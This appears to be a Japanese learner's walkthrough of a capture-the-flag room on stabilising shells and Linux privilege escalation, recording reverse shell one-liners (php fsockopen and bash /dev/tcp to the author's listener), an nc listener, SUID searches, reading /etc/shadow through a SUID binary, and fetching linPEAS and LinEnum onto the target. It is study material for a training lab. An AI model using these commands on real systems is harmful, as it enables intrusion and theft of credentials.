シェル獲得後どうしたらいいかわからない人(私です)のためのRoom
- URL=
Task 1 Introduction
No answer needed
タスクとしてはノーアンサーだけどまずシェルを取らないと続きができなくなってるのでシェルをとるのをやろうってことらしい。
Method 1:Browse to cmd.php and add the following php payload to the input field.
まずマシンをデプロイして、指示通り http://<ip>:3000
につなぐ

やりかたが書いてあって親切。
cmd.phpファイルを作る(IPアドレスとポート番号を適宜変更する)
php -r '$sock=fsockopen("10.4.20.231",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Method 2:Upload a reverse shell file below and execute it using the cmd.php
アップロードして http://<IP>:3000/cmd.php
にアクセスする。

自端末のほうでncコマンドで待ち受ける
nc -lvnp 1234

フォームっぽいところにリバースシェルを入れてEnter

bash -c 'bash -i >& /dev/tcp/10.4.20.231/1234 0>&1'
シェルのコマンドがよくわからなかったのでこちらで調べた
待受画面に応答がある。

Task 2 Unit 1 – tty
- netcatのリバースシェルはすぐ壊れるから安定化させようって話
- 普通のシェルのことをttyと呼ぶ
- ttyを取得する一つの方法は/bin/bashをなんとかして実行すること
なるほどー。侵入したらすぐ昇格を試すんじゃないんだなあ。
How would you execute /bin/bash with perl?
ぜんぜん知らんので調べる、普通に載ってた。
- URL=
Task 3 Unit 1 – ssh
sshでいつでも繋げるようにしておくと便利だよ、って話。(便利とは)
Where can you usually find the id_rsa file? (User = user)
公開鍵のデフォルトの場所
/home/user/.ssh/id_rsa
Is there an id_rsa file on the box? (yay/nay)
見たけどなかったのでナーイ(…)
実際の環境でやってみよう!ってことを暗に言ってるのかと思ってたけどこのタスクは違うんだな??まぎらわしいな?英語難しい。
Task 4 Unit 2 – Basic enumeration
このタスクから本格的に昇格するための手順。
まずは情報収集しましょうってことらしい。
How would you print machine hardware name only?
uname -m
Where can you find bash history?
~/.bash_history
What’s the flag?
.bash_historyの中見たらフラグが(えー)

Task 5 Unit 3 – /etc
/etc/passwdとか/etc/shadowが見れたらワンチャンあるよって話
Can you read /etc/passwd on the box? (yay/nay)
みれた
Task 6 Unit 4 – Find command and interesting files
役立ちそうなファイル探索のコマンド。findコマンド練習専用のroomあるんだ。
- URL=
.log
.conf
.bak
あたりを探すのがコツですってよ。
What’s the password you found?
find -type f -name "*.bak" 2>/dev/null
あった

Did you find a flag?
find -type f -name "*.conf" 2>/dev/null | grep flag

Task 7 Unit 4 – SUID
Which SUID binary has a way to escalate your privileges on the box?
SUIDのついてるバイナリを探す
find / -perm -u=s -type f 2>/dev/null

What’s the payload you can use to read /etc/shadow with this SUID?
ヒントどおり↓見た
- URL=
こんな単純に?と思いながら実行したら読めた…こういうのほんと魔法みたいだなって思う
grep ” /etc/shadow

Task 8 [Bonus] – Port Forwarding
Try using those commands on your system!
No answer needed
トライしたけど Command 'netstat' not found
って言われるんだが??
まあノーアンサーだからいいか…開いてるポート確認するのも大事だよって話かな。何がボーナスなのだろう。
Task 9 Unit 5 – Automating scripts
No answer needed
みんな大好きlinPEASとLinEnumの話。と思ったらRoom作者の方は嫌いらしいw
- URL=
- URL=
どっちかやればいいのかと思ってたけどできるなら両方実行したほうがいいらしい。そうなんだー。
スクリプトの設置
ツールが置いてある的なことが書いてあるけどどこにあるかわからん…。
仕方ないのでスクリプトをそれぞれダウンロード自分のPCにダウンロードする
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

ダウンロードしてきたファイルのある場所でhttpサーバ立ち上げる
python3 -m http.server

Roomのターゲットマシンのほうからwget(curlコマンドが使えなかった…)で取りに行く
wget $LOCALIP:8000/linpeas.sh
wget $LOCALIP:8000/LinEnum.sh

スクリプト実行
ターゲットマシン内でスクリプトを実行する
実行権限なかったのでつける
chmod +x linpeas.sh
chmod +x LinEnum.sh

実行する
./linpeas.sh
この枝豆3兄弟的なやつかわいいよね

./LinEnum.sh

列挙はできたものの…読み取り方がよくわからない…(よくある)
Task 10 Resources and what’s next?
No answer needed
続きの学習におすすめのRoomの紹介。
結局場数を踏まないとわかってこないのかもしれないなーと思った。もう少し経験を積んでから振り返ってみたい。